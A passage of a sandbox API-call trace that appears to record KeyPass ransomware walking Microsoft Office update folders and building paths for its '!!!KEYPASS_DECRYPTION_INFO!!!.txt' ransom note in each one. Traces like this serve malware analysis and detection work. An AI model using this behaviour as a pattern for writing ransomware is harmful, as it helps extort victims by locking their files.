(hObject=0x14b8) returned 1 [0275.036] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.036] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.036] GetLastError () returned 0x3f0 [0275.036] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_FA000000008\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_FA000000008\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.036] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_FA000000008\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.037] GetFileType (hFile=0x14bc) returned 0x1 [0275.038] CloseHandle (hObject=0x14bc) returned 1 [0275.038] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.038] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.038] GetLastError () returned 0x3f0 [0275.038] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_FA000000011\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_FA000000011\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.038] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_FA000000011\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.039] GetFileType (hFile=0x14c0) returned 0x1 [0275.040] CloseHandle (hObject=0x14c0) returned 1 [0275.041] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.041] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.041] GetLastError () returned 0x3f0 [0275.041] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_w1\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_w1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.041] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_w1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.041] GetFileType (hFile=0x14c4) returned 0x1 [0275.042] CloseHandle (hObject=0x14c4) returned 1 [0275.042] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.042] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.042] GetLastError () returned 0x3f0 [0275.042] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.042] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.096] GetFileType (hFile=0x14ac) returned 0x1 [0275.097] CloseHandle (hObject=0x14ac) returned 1 [0275.097] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.097] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.097] GetLastError () returned 0x3f0 [0275.097] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.097] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.099] GetFileType (hFile=0x14c8) returned 0x1 [0275.099] CloseHandle (hObject=0x14c8) returned 1 [0275.100] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.100] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.100] GetLastError () returned 0x3f0 [0275.100] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.100] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.119] GetFileType (hFile=0x14cc) returned 0x1 [0275.120] CloseHandle (hObject=0x14cc) returned 1 [0275.120] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.120] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.120] GetLastError () returned 0x3f0 [0275.120] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.120] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.121] GetFileType (hFile=0x14d0) returned 0x1 [0275.122] CloseHandle (hObject=0x14d0) returned 1 [0275.122] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.122] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.122] GetLastError () returned 0x3f0 [0275.122] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.122] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.123] GetFileType (hFile=0x14d4) returned 0x1 [0275.124] CloseHandle (hObject=0x14d4) returned 1 [0275.124] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.124] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.124] GetLastError () returned 0x3f0 [0275.124] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.124] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.125] GetFileType (hFile=0x14d8) returned 0x1 [0275.125] CloseHandle (hObject=0x14d8) returned 1 [0275.125] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.126] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.126] GetLastError () returned 0x3f0 [0275.126] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\Verisign\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\Verisign\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.126] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\Verisign\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.126] GetFileType (hFile=0x14dc) returned 0x1 [0275.127] CloseHandle (hObject=0x14dc) returned 1 [0275.127] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.127] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.127] GetLastError () returned 0x3f0 [0275.127] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.127] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.127] GetFileType (hFile=0x14e0) returned 0x1 [0275.128] CloseHandle (hObject=0x14e0) returned 1 [0275.128] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.128] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.128] GetLastError () returned 0x3f0 [0275.128] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.128] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.129] GetFileType (hFile=0x14e4) returned 0x1 [0275.130] CloseHandle (hObject=0x14e4) returned 1 [0275.130] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.130] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.130] GetLastError () returned 0x3f0 [0275.130] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\People\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\People\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.130] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\People\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.131] GetFileType (hFile=0x14e8) returned 0x1 [0275.132] CloseHandle (hObject=0x14e8) returned 1 [0275.132] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.132] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.132] GetLastError () returned 0x3f0 [0275.132] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\Places\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\Places\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.132] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\Places\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.133] GetFileType (hFile=0x14ec) returned 0x1 [0275.135] CloseHandle (hObject=0x14ec) returned 1 [0275.135] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.135] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.135] GetLastError () returned 0x3f0 [0275.135] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\Things\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\Things\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.135] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\Sounds\\Things\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.136] GetFileType (hFile=0x14f0) returned 0x1 [0275.137] CloseHandle (hObject=0x14f0) returned 1 [0275.137] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.137] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.137] GetLastError () returned 0x3f0 [0275.137] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolBMPs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolBMPs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.137] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolBMPs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.138] GetFileType (hFile=0x14f4) returned 0x1 [0275.139] CloseHandle (hObject=0x14f4) returned 1 [0275.139] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.139] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.139] GetLastError () returned 0x3f0 [0275.140] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.140] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.140] GetFileType (hFile=0x14f8) returned 0x1 [0275.141] CloseHandle (hObject=0x14f8) returned 1 [0275.141] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.141] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.141] GetLastError () returned 0x3f0 [0275.141] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\groove.net\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.141] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.147] GetFileType (hFile=0x1500) returned 0x1 [0275.148] CloseHandle (hObject=0x1500) returned 1 [0275.148] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.148] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.148] GetLastError () returned 0x3f0 [0275.148] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.148] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.149] GetFileType (hFile=0x1504) returned 0x1 [0275.150] CloseHandle (hObject=0x1504) returned 1 [0275.150] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.150] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.150] GetLastError () returned 0x3f0 [0275.150] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.150] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.150] GetFileType (hFile=0x1508) returned 0x1 [0275.151] CloseHandle (hObject=0x1508) returned 1 [0275.151] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.151] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.151] GetLastError () returned 0x3f0 [0275.151] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolIcons\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolIcons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.151] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Groove\\ToolIcons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.152] GetFileType (hFile=0x14fc) returned 0x1 [0275.153] CloseHandle (hObject=0x14fc) returned 1 [0275.153] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.153] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.153] GetLastError () returned 0x3f0 [0275.153] PathAppendW (in: pszPath="C:\\Program 